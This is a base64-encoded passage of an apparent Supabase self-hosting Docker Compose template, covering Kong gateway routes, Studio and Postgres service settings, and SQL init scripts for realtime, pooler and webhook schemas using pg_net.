tZTogZ3JhcGhxbC12MVxuICAgIF9jb21tZW50OiAnUG9zdGdSRVNUOiAvZ3JhcGhxbC92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1yZXN0OjMwMDAvcnBjL2dyYXBocWwnXG4gICAgdXJsOiBodHRwOi8vc3VwYWJhc2UtcmVzdDozMDAwL3JwYy9ncmFwaHFsXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBncmFwaHFsLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2dyYXBocWwvdjFcbiAgICBwbHVnaW5zOlxuICAgICAgLSBuYW1lOiBjb3JzXG4gICAgICAtIG5hbWU6IGtleS1hdXRoXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2NyZWRlbnRpYWxzOiB0cnVlXG4gICAgICAtIG5hbWU6IHJlcXVlc3QtdHJhbnNmb3JtZXJcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGFkZDpcbiAgICAgICAgICAgIGhlYWRlcnM6XG4gICAgICAgICAgICAgIC0gQ29udGVudC1Qcm9maWxlOmdyYXBocWxfcHVibGljXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cblxuICAjIyBTZWN1cmUgUmVhbHRpbWUgcm91dGVzXG4gIC0gbmFtZTogcmVhbHRpbWUtdjEtd3NcbiAgICBfY29tbWVudDogJ1JlYWx0aW1lOiAvcmVhbHRpbWUvdjEvKiAtPiB3czovL3JlYWx0aW1lOjQwMDAvc29ja2V0LyonXG4gICAgdXJsOiBodHRwOi8vcmVhbHRpbWUtZGV2OjQwMDAvc29ja2V0XG4gICAgcHJvdG9jb2w6IHdzXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS13c1xuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3JlYWx0aW1lL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG4gICAgICAgICAgICAtIGFub25cbiAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgX2NvbW1lbnQ6ICdSZWFsdGltZTogL3JlYWx0aW1lL3YxLyogLT4gd3M6Ly9yZWFsdGltZTo0MDAwL3NvY2tldC8qJ1xuICAgIHVybDogaHR0cDovL3JlYWx0aW1lLWRldjo0MDAwL2FwaVxuICAgIHByb3RvY29sOiBodHRwXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiByZWFsdGltZS12MS1yZXN0XG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcmVhbHRpbWUvdjEvYXBpXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuICAgICAgLSBuYW1lOiBrZXktYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogZmFsc2VcbiAgICAgIC0gbmFtZTogYWNsXG4gICAgICAgIGNvbmZpZzpcbiAgICAgICAgICBoaWRlX2dyb3Vwc19oZWFkZXI6IHRydWVcbiAgICAgICAgICBhbGxvdzpcbiAgICAgICAgICAgIC0gYWRtaW5cbiAgICAgICAgICAgIC0gYW5vblxuXG4gICMjIFN0b3JhZ2Ugcm91dGVzOiB0aGUgc3RvcmFnZSBzZXJ2ZXIgbWFuYWdlcyBpdHMgb3duIGF1dGhcbiAgLSBuYW1lOiBzdG9yYWdlLXYxXG4gICAgX2NvbW1lbnQ6ICdTdG9yYWdlOiAvc3RvcmFnZS92MS8qIC0+IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvKidcbiAgICB1cmw6IGh0dHA6Ly9zdXBhYmFzZS1zdG9yYWdlOjUwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBzdG9yYWdlLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL3N0b3JhZ2UvdjEvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZTogY29yc1xuXG4gICMjIEVkZ2UgRnVuY3Rpb25zIHJvdXRlc1xuICAtIG5hbWU6IGZ1bmN0aW9ucy12MVxuICAgIF9jb21tZW50OiAnRWRnZSBGdW5jdGlvbnM6IC9mdW5jdGlvbnMvdjEvKiAtPiBodHRwOi8vc3VwYWJhc2UtZWRnZS1mdW5jdGlvbnM6OTAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWVkZ2UtZnVuY3Rpb25zOjkwMDAvXG4gICAgcm91dGVzOlxuICAgICAgLSBuYW1lOiBmdW5jdGlvbnMtdjEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvZnVuY3Rpb25zL3YxL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcblxuICAjIyBBbmFseXRpY3Mgcm91dGVzXG4gIC0gbmFtZTogYW5hbHl0aWNzLXYxXG4gICAgX2NvbW1lbnQ6ICdBbmFseXRpY3M6IC9hbmFseXRpY3MvdjEvKiAtPiBodHRwOi8vbG9nZmxhcmU6NDAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLWFuYWx5dGljczo0MDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogYW5hbHl0aWNzLXYxLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL2FuYWx5dGljcy92MS9cblxuICAjIyBTZWN1cmUgRGF0YWJhc2Ugcm91dGVzXG4gIC0gbmFtZTogbWV0YVxuICAgIF9jb21tZW50OiAncGctbWV0YTogL3BnLyogLT4gaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MC9cbiAgICByb3V0ZXM6XG4gICAgICAtIG5hbWU6IG1ldGEtYWxsXG4gICAgICAgIHN0cmlwX3BhdGg6IHRydWVcbiAgICAgICAgcGF0aHM6XG4gICAgICAgICAgLSAvcGcvXG4gICAgcGx1Z2luczpcbiAgICAgIC0gbmFtZToga2V5LWF1dGhcbiAgICAgICAgY29uZmlnOlxuICAgICAgICAgIGhpZGVfY3JlZGVudGlhbHM6IGZhbHNlXG4gICAgICAtIG5hbWU6IGFjbFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9ncm91cHNfaGVhZGVyOiB0cnVlXG4gICAgICAgICAgYWxsb3c6XG4gICAgICAgICAgICAtIGFkbWluXG5cbiAgIyMgUHJvdGVjdGVkIERhc2hib2FyZCAtIGNhdGNoIGFsbCByZW1haW5pbmcgcm91dGVzXG4gIC0gbmFtZTogZGFzaGJvYXJkXG4gICAgX2NvbW1lbnQ6ICdTdHVkaW86IC8qIC0+IGh0dHA6Ly9zdHVkaW86MzAwMC8qJ1xuICAgIHVybDogaHR0cDovL3N1cGFiYXNlLXN0dWRpbzozMDAwL1xuICAgIHJvdXRlczpcbiAgICAgIC0gbmFtZTogZGFzaGJvYXJkLWFsbFxuICAgICAgICBzdHJpcF9wYXRoOiB0cnVlXG4gICAgICAgIHBhdGhzOlxuICAgICAgICAgIC0gL1xuICAgIHBsdWdpbnM6XG4gICAgICAtIG5hbWU6IGNvcnNcbiAgICAgIC0gbmFtZTogYmFzaWMtYXV0aFxuICAgICAgICBjb25maWc6XG4gICAgICAgICAgaGlkZV9jcmVkZW50aWFsczogdHJ1ZVxuIgogIHN1cGFiYXNlLXN0dWRpbzoKICAgIGltYWdlOiAnc3VwYWJhc2Uvc3R1ZGlvOjIwMjUuMDYuMDItc2hhLThmMjk5M2QnCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gbm9kZQogICAgICAgIC0gJy1lJwogICAgICAgIC0gImZldGNoKCdodHRwOi8vMTI3LjAuMC4xOjMwMDAvYXBpL3BsYXRmb3JtL3Byb2ZpbGUnKS50aGVuKChyKSA9PiB7aWYgKHIuc3RhdHVzICE9PSAyMDApIHRocm93IG5ldyBFcnJvcihyLnN0YXR1cyl9KSIKICAgICAgdGltZW91dDogNXMKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHJldHJpZXM6IDMKICAgIGRlcGVuZHNfb246CiAgICAgIHN1cGFiYXNlLWFuYWx5dGljczoKICAgICAgICBjb25kaXRpb246IHNlcnZpY2VfaGVhbHRoeQogICAgZW52aXJvbm1lbnQ6CiAgICAgIC0gSE9TVE5BTUU9MC4wLjAuMAogICAgICAtICdTVFVESU9fUEdfTUVUQV9VUkw9aHR0cDovL3N1cGFiYXNlLW1ldGE6ODA4MCcKICAgICAgLSAnUE9TVEdSRVNfUEFTU1dPUkQ9JHtTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTfScKICAgICAgLSAnREVGQVVMVF9PUkdBTklaQVRJT05fTkFNRT0ke1NUVURJT19ERUZBVUxUX09SR0FOSVpBVElPTjotRGVmYXVsdCBPcmdhbml6YXRpb259JwogICAgICAtICdERUZBVUxUX1BST0pFQ1RfTkFNRT0ke1NUVURJT19ERUZBVUxUX1BST0pFQ1Q6LURlZmF1bHQgUHJvamVjdH0nCiAgICAgIC0gJ1NVUEFCQVNFX1VSTD1odHRwOi8vc3VwYWJhc2Uta29uZzo4MDAwJwogICAgICAtICdTVVBBQkFTRV9QVUJMSUNfVVJMPSR7U0VSVklDRV9GUUROX1NVUEFCQVNFS09OR30nCiAgICAgIC0gJ1NVUEFCQVNFX0FOT05fS0VZPSR7U0VSVklDRV9TVVBBQkFTRUFOT05fS0VZfScKICAgICAgLSAnU1VQQUJBU0VfU0VSVklDRV9LRVk9JHtTRVJWSUNFX1NVUEFCQVNFU0VSVklDRV9LRVl9JwogICAgICAtICdBVVRIX0pXVF9TRUNSRVQ9JHtTRVJWSUNFX1BBU1NXT1JEX0pXVH0nCiAgICAgIC0gJ0xPR0ZMQVJFX0FQSV9LRVk9JHtTRVJWSUNFX1BBU1NXT1JEX0xPR0ZMQVJFfScKICAgICAgLSAnTE9HRkxBUkVfVVJMPWh0dHA6Ly9zdXBhYmFzZS1hbmFseXRpY3M6NDAwMCcKICAgICAgLSAnU1VQQUJBU0VfUFVCTElDX0FQST0ke1NFUlZJQ0VfRlFETl9TVVBBQkFTRUtPTkd9JwogICAgICAtIE5FWFRfUFVCTElDX0VOQUJMRV9MT0dTPXRydWUKICAgICAgLSBORVhUX0FOQUxZVElDU19CQUNLRU5EX1BST1ZJREVSPXBvc3RncmVzCiAgICAgIC0gJ09QRU5BSV9BUElfS0VZPSR7T1BFTkFJX0FQSV9LRVl9JwogIHN1cGFiYXNlLWRiOgogICAgaW1hZ2U6ICdzdXBhYmFzZS9wb3N0Z3JlczoxNS44LjEuMDQ4JwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6ICdwZ19pc3JlYWR5IC1VIHBvc3RncmVzIC1oIDEyNy4wLjAuMScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDVzCiAgICAgIHJldHJpZXM6IDEwCiAgICBkZXBlbmRzX29uOgogICAgICBzdXBhYmFzZS12ZWN0b3I6CiAgICAgICAgY29uZGl0aW9uOiBzZXJ2aWNlX2hlYWx0aHkKICAgIGNvbW1hbmQ6CiAgICAgIC0gcG9zdGdyZXMKICAgICAgLSAnLWMnCiAgICAgIC0gY29uZmlnX2ZpbGU9L2V0Yy9wb3N0Z3Jlc3FsL3Bvc3RncmVzcWwuY29uZgogICAgICAtICctYycKICAgICAgLSBsb2dfbWluX21lc3NhZ2VzPWZhdGFsCiAgICBlbnZpcm9ubWVudDoKICAgICAgLSBQT1NUR1JFU19IT1NUPS92YXIvcnVuL3Bvc3RncmVzcWwKICAgICAgLSAnUEdQT1JUPSR7UE9TVEdSRVNfUE9SVDotNTQzMn0nCiAgICAgIC0gJ1BPU1RHUkVTX1BPUlQ9JHtQT1NUR1JFU19QT1JUOi01NDMyfScKICAgICAgLSAnUEdQQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQT1NUR1JFU19QQVNTV09SRD0ke1NFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVN9JwogICAgICAtICdQR0RBVEFCQVNFPSR7UE9TVEdSRVNfREI6LXBvc3RncmVzfScKICAgICAgLSAnUE9TVEdSRVNfREI9JHtQT1NUR1JFU19EQjotcG9zdGdyZXN9JwogICAgICAtICdKV1RfU0VDUkVUPSR7U0VSVklDRV9QQVNTV09SRF9KV1R9JwogICAgICAtICdKV1RfRVhQPSR7SldUX0VYUElSWTotMzYwMH0nCiAgICB2b2x1bWVzOgogICAgICAtICdzdXBhYmFzZS1kYi1kYXRhOi92YXIvbGliL3Bvc3RncmVzcWwvZGF0YScKICAgICAgLQogICAgICAgIHR5cGU6IGJpbmQKICAgICAgICBzb3VyY2U6IC4vdm9sdW1lcy9kYi9yZWFsdGltZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk5LXJlYWx0aW1lLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXG5jcmVhdGUgc2NoZW1hIGlmIG5vdCBleGlzdHMgX3JlYWx0aW1lO1xuYWx0ZXIgc2NoZW1hIF9yZWFsdGltZSBvd25lciB0byA6cGd1c2VyO1xuIgogICAgICAtCiAgICAgICAgdHlwZTogYmluZAogICAgICAgIHNvdXJjZTogLi92b2x1bWVzL2RiL19zdXBhYmFzZS5zcWwKICAgICAgICB0YXJnZXQ6IC9kb2NrZXItZW50cnlwb2ludC1pbml0ZGIuZC9taWdyYXRpb25zLzk3LV9zdXBhYmFzZS5zcWwKICAgICAgICBjb250ZW50OiAiXFxzZXQgcGd1c2VyIGBlY2hvIFwiJFBPU1RHUkVTX1VTRVJcImBcblxuQ1JFQVRFIERBVEFCQVNFIF9zdXBhYmFzZSBXSVRIIE9XTkVSIDpwZ3VzZXI7XG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvcG9vbGVyLnNxbAogICAgICAgIHRhcmdldDogL2RvY2tlci1lbnRyeXBvaW50LWluaXRkYi5kL21pZ3JhdGlvbnMvOTktcG9vbGVyLnNxbAogICAgICAgIGNvbnRlbnQ6ICJcXHNldCBwZ3VzZXIgYGVjaG8gXCJzdXBhYmFzZV9hZG1pblwiYFxuXFxjIF9zdXBhYmFzZVxuY3JlYXRlIHNjaGVtYSBpZiBub3QgZXhpc3RzIF9zdXBhdmlzb3I7XG5hbHRlciBzY2hlbWEgX3N1cGF2aXNvciBvd25lciB0byA6cGd1c2VyO1xuXFxjIHBvc3RncmVzXG4iCiAgICAgIC0KICAgICAgICB0eXBlOiBiaW5kCiAgICAgICAgc291cmNlOiAuL3ZvbHVtZXMvZGIvd2ViaG9va3Muc3FsCiAgICAgICAgdGFyZ2V0OiAvZG9ja2VyLWVudHJ5cG9pbnQtaW5pdGRiLmQvaW5pdC1zY3JpcHRzLzk4LXdlYmhvb2tzLnNxbAogICAgICAgIGNvbnRlbnQ6ICJCRUdJTjtcbi0tIENyZWF0ZSBwZ19uZXQgZXh0ZW5zaW9uXG5DUkVBVEUgRVhURU5TSU9OIElGIE5PVCBFWElTVFMgcGdfbmV0IFNDSEVNQSBleHRlbnNpb25zO1xuLS0gQ3JlYXRlIHN1cGFiYXNlX2Z1bmN0aW9ucyBzY2hlbWFcbkNSRUFURSBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIEFVVEhPUklaQVRJT04gc3VwYWJhc2VfYWRtaW47XG5HUkFOVCBVU0FHRSBPTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gVEFCTEVTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gRlVOQ1RJT05TIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG5BTFRFUiBERUZBVUxUIFBSSVZJTEVHRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBHUkFOVCBBTEwgT04gU0VRVUVOQ0VTIFRPIHBvc3RncmVzLCBhbm9uLCBhdXRoZW50aWNhdGVkLCBzZXJ2aWNlX3JvbGU7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMubWlncmF0aW9ucyBkZWZpbml0aW9uXG5DUkVBVEUgVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLm1pZ3JhdGlvbnMgKFxuICB2ZXJzaW9uIHRleHQgUFJJTUFSWSBLRVksXG4gIGluc2VydGVkX2F0IHRpbWVzdGFtcHR6IE5PVCBOVUxMIERFRkFVTFQgTk9XKClcbik7XG4tLSBJbml0aWFsIHN1cGFiYXNlX2Z1bmN0aW9ucyBtaWdyYXRpb25cbklOU0VSVCBJTlRPIHN1cGFiYXNlX2Z1bmN0aW9ucy5taWdyYXRpb25zICh2ZXJzaW9uKSBWQUxVRVMgKCdpbml0aWFsJyk7XG4tLSBzdXBhYmFzZV9mdW5jdGlvbnMuaG9va3MgZGVmaW5pdGlvblxuQ1JFQVRFIFRBQkxFIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyAoXG4gIGlkIGJpZ3NlcmlhbCBQUklNQVJZIEtFWSxcbiAgaG9va190YWJsZV9pZCBpbnRlZ2VyIE5PVCBOVUxMLFxuICBob29rX25hbWUgdGV4dCBOT1QgTlVMTCxcbiAgY3JlYXRlZF9hdCB0aW1lc3RhbXB0eiBOT1QgTlVMTCBERUZBVUxUIE5PVygpLFxuICByZXF1ZXN0X2lkIGJpZ2ludFxuKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfcmVxdWVzdF9pZF9pZHggT04gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIFVTSU5HIGJ0cmVlIChyZXF1ZXN0X2lkKTtcbkNSRUFURSBJTkRFWCBzdXBhYmFzZV9mdW5jdGlvbnNfaG9va3NfaF90YWJsZV9pZF9oX25hbWVfaWR4IE9OIHN1cGFiYXNlX2Z1bmN0aW9ucy5ob29rcyBVU0lORyBidHJlZSAoaG9va190YWJsZV9pZCwgaG9va19uYW1lKTtcbkNPTU1FTlQgT04gVEFCTEUgc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzIElTICdTdXBhYmFzZSBGdW5jdGlvbnMgSG9va3M6IEF1ZGl0IHRyYWlsIGZvciB0cmlnZ2VyZWQgaG9va3MuJztcbkNSRUFURSBGVU5DVElPTiBzdXBhYmFzZV9mdW5jdGlvbnMuaHR0cF9yZXF1ZXN0KClcbiAgUkVUVVJOUyB0cmlnZ2VyXG4gIExBTkdVQUdFIHBscGdzcWxcbiAgQVMgJGZ1bmN0aW9uJFxuICBERUNMQVJFXG4gICAgcmVxdWVzdF9pZCBiaWdpbnQ7XG4gICAgcGF5bG9hZCBqc29uYjtcbiAgICB1cmwgdGV4dCA6PSBUR19BUkdWWzBdOjp0ZXh0O1xuICAgIG1ldGhvZCB0ZXh0IDo9IFRHX0FSR1ZbMV06OnRleHQ7XG4gICAgaGVhZGVycyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHBhcmFtcyBqc29uYiBERUZBVUxUICd7fSc6Ompzb25iO1xuICAgIHRpbWVvdXRfbXMgaW50ZWdlciBERUZBVUxUIDEwMDA7XG4gIEJFR0lOXG4gICAgSUYgdXJsIElTIE5VTEwgT1IgdXJsID0gJ251bGwnIFRIRU5cbiAgICAgIFJBSVNFIEVYQ0VQVElPTiAndXJsIGFyZ3VtZW50IGlzIG1pc3NpbmcnO1xuICAgIEVORCBJRjtcblxuICAgIElGIG1ldGhvZCBJUyBOVUxMIE9SIG1ldGhvZCA9ICdudWxsJyBUSEVOXG4gICAgICBSQUlTRSBFWENFUFRJT04gJ21ldGhvZCBhcmd1bWVudCBpcyBtaXNzaW5nJztcbiAgICBFTkQgSUY7XG5cbiAgICBJRiBUR19BUkdWWzJdIElTIE5VTEwgT1IgVEdfQVJHVlsyXSA9ICdudWxsJyBUSEVOXG4gICAgICBoZWFkZXJzID0gJ3tcIkNvbnRlbnQtVHlwZVwiOiBcImFwcGxpY2F0aW9uL2pzb25cIn0nOjpqc29uYjtcbiAgICBFTFNFXG4gICAgICBoZWFkZXJzID0gVEdfQVJHVlsyXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVlszXSBJUyBOVUxMIE9SIFRHX0FSR1ZbM10gPSAnbnVsbCcgVEhFTlxuICAgICAgcGFyYW1zID0gJ3t9Jzo6anNvbmI7XG4gICAgRUxTRVxuICAgICAgcGFyYW1zID0gVEdfQVJHVlszXTo6anNvbmI7XG4gICAgRU5EIElGO1xuXG4gICAgSUYgVEdfQVJHVls0XSBJUyBOVUxMIE9SIFRHX0FSR1ZbNF0gPSAnbnVsbCcgVEhFTlxuICAgICAgdGltZW91dF9tcyA9IDEwMDA7XG4gICAgRUxTRVxuICAgICAgdGltZW91dF9tcyA9IFRHX0FSR1ZbNF06OmludGVnZXI7XG4gICAgRU5EIElGO1xuXG4gICAgQ0FTRVxuICAgICAgV0hFTiBtZXRob2QgPSAnR0VUJyBUSEVOXG4gICAgICAgIFNFTEVDVCBodHRwX2dldCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9nZXQoXG4gICAgICAgICAgdXJsLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIFdIRU4gbWV0aG9kID0gJ1BPU1QnIFRIRU5cbiAgICAgICAgcGF5bG9hZCA9IGpzb25iX2J1aWxkX29iamVjdChcbiAgICAgICAgICAnb2xkX3JlY29yZCcsIE9MRCxcbiAgICAgICAgICAncmVjb3JkJywgTkVXLFxuICAgICAgICAgICd0eXBlJywgVEdfT1AsXG4gICAgICAgICAgJ3RhYmxlJywgVEdfVEFCTEVfTkFNRSxcbiAgICAgICAgICAnc2NoZW1hJywgVEdfVEFCTEVfU0NIRU1BXG4gICAgICAgICk7XG5cbiAgICAgICAgU0VMRUNUIGh0dHBfcG9zdCBJTlRPIHJlcXVlc3RfaWQgRlJPTSBuZXQuaHR0cF9wb3N0KFxuICAgICAgICAgIHVybCxcbiAgICAgICAgICBwYXlsb2FkLFxuICAgICAgICAgIHBhcmFtcyxcbiAgICAgICAgICBoZWFkZXJzLFxuICAgICAgICAgIHRpbWVvdXRfbXNcbiAgICAgICAgKTtcbiAgICAgIEVMU0VcbiAgICAgICAgUkFJU0UgRVhDRVBUSU9OICdtZXRob2QgYXJndW1lbnQgJSBpcyBpbnZhbGlkJywgbWV0aG9kO1xuICAgIEVORCBDQVNFO1xuXG4gICAgSU5TRVJUIElOVE8gc3VwYWJhc2VfZnVuY3Rpb25zLmhvb2tzXG4gICAgICAoaG9va190YWJsZV9pZCwgaG9va19uYW1lLCByZXF1ZXN0X2lkKVxuICAgIFZBTFVFU1xuICAgICAgKFRHX1JFTElELCBUR19OQU1FLCByZXF1ZXN0X2lkKTtcblxuICAgIFJFVFVSTiBORVc7XG4gIEVORFxuJGZ1bmN0aW9uJDtcbi0tIFN1cGFiYXNlIHN1cGVyIGFkbWluXG5ET1xuJCRcbkJFR0lOXG4gIElGIE5PVCBFWElTVFMgKFxuICAgIFNFTEVDVCAxXG4gICAgRlJPTSBwZ19yb2xlc1xuICAgIFdIRVJFIHJvbG5hbWUgPSAnc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluJ1xuICApXG4gIFRIRU5cbiAgICBDUkVBVEUgVVNFUiBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gTk9JTkhFUklUIENSRUFURVJPTEUgTE9HSU4gTk9SRVBMSUNBVElPTjtcbiAgRU5EIElGO1xuRU5EXG4kJDtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIFNDSEVNQSBzdXBhYmFzZV9mdW5jdGlvbnMgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuR1JBTlQgQUxMIFBSSVZJTEVHRVMgT04gQUxMIFRBQkxFUyBJTiBTQ0hFTUEgc3VwYWJhc2VfZnVuY3Rpb25zIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkdSQU5UIEFMTCBQUklWSUxFR0VTIE9OIEFMTCBTRVFVRU5DRVMgSU4gU0NIRU1BIHN1cGFiYXNlX2Z1bmN0aW9ucyBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5BTFRFUiBVU0VSIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbiBTRVQgc2VhcmNoX3BhdGggPSBcInN1cGFiYXNlX2Z1bmN0aW9uc1wiO1xuQUxURVIgdGFibGUgXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5taWdyYXRpb25zIE9XTkVSIFRPIHN1cGFiYXNlX2Z1bmN0aW9uc19hZG1pbjtcbkFMVEVSIHRhYmxlIFwic3VwYWJhc2VfZnVuY3Rpb25zXCIuaG9va3MgT1dORVIgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluO1xuQUxURVIgZnVuY3Rpb24gXCJzdXBhYmFzZV9mdW5jdGlvbnNcIi5odHRwX3JlcXVlc3QoKSBPV05FUiBUTyBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW47XG5HUkFOVCBzdXBhYmFzZV9mdW5jdGlvbnNfYWRtaW4gVE8gcG9zdGdyZXM7XG4tLSBSZW1vdmUgdW51c2VkIHN1cGFiYXNlX3BnX25ldF9hZG1pbiByb2xlXG5ET1xuJCRcbkJFR0lOXG4gIElGIEVYSVNUUyAoXG4gICAgU0VMRUNUIDFcbiAgICBGUk9NIHBnX3JvbGVzXG4gICAgV0hFUkUgcm9sbmFtZSA9ICdzdXBhYmFzZV9wZ19uZXRfYWRtaW4nXG4gIClcbiAgVEhFTlxuICAgIFJFQVNTSUdOIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbiBUTyBzdXBhYmFzZV9hZG1pbjtcbiAgICBEUk9QIE9XTkVEIEJZIHN1cGFiYXNlX3BnX25ldF9hZG1pbjtcbiAgICBEUk9QIFJPTEUgc3VwYWJhc2VfcGdfbmV0X2FkbWluO1xuICBFTkQgSUY7XG5FTkRcbiQkO1xuLS0gcGdfbmV0IGdyYW50cyB3aGVuIGV4dGVuc2lvbiBpcyBhbHJlYWR5IGVuYWJsZWRcbkRPXG4kJFxuQkVHSU5cbiAgSUYgRVhJU1RTIChcbiAgICBTRUxFQ1QgMVxuICAgIEZST00gcGdfZXh0ZW5zaW9uXG4gICAgV0hFUkUgZXh0bmFtZSA9ICdwZ19uZXQnXG4gIClcbiAgVEhFTlxuICAgIEdSQU5UIFVTQUdFIE9OIFNDSEVNQSBuZXQgVE8gc3VwYWJhc2VfZnVuY3Rpb25zX2FkbWluLCBwb3N0Z3JlcywgYW5vbiwgYXV0aGVudGljYXRlZCwgc2VydmljZV9yb2xlO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX2dldCh1cmwgdGV4dCwgcGFyYW1zIGpzb25iLCBoZWFkZXJzIGpzb25iLCB0aW1lb3V0X21pbGxpc2Vjb25kcyBpbnRlZ2VyKSBTRUNVUklUWSBERUZJTkVSO1xuICAgIEFMVEVSIGZ1bmN0aW9uIG5ldC5odHRwX3Bvc3QodXJsIHRleHQsIGJvZHkganNvbmIsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29uZHMgaW50ZWdlcikgU0VDVVJJVFkgREVGSU5FUjtcbiAgICBBTFRFUiBmdW5jdGlvbiBuZXQuaHR0cF9nZXQodXJsIHRleHQsIHBhcmFtcyBqc29uYiwgaGVhZGVycyBqc29uYiwgdGltZW91dF9taWxsaXNlY29u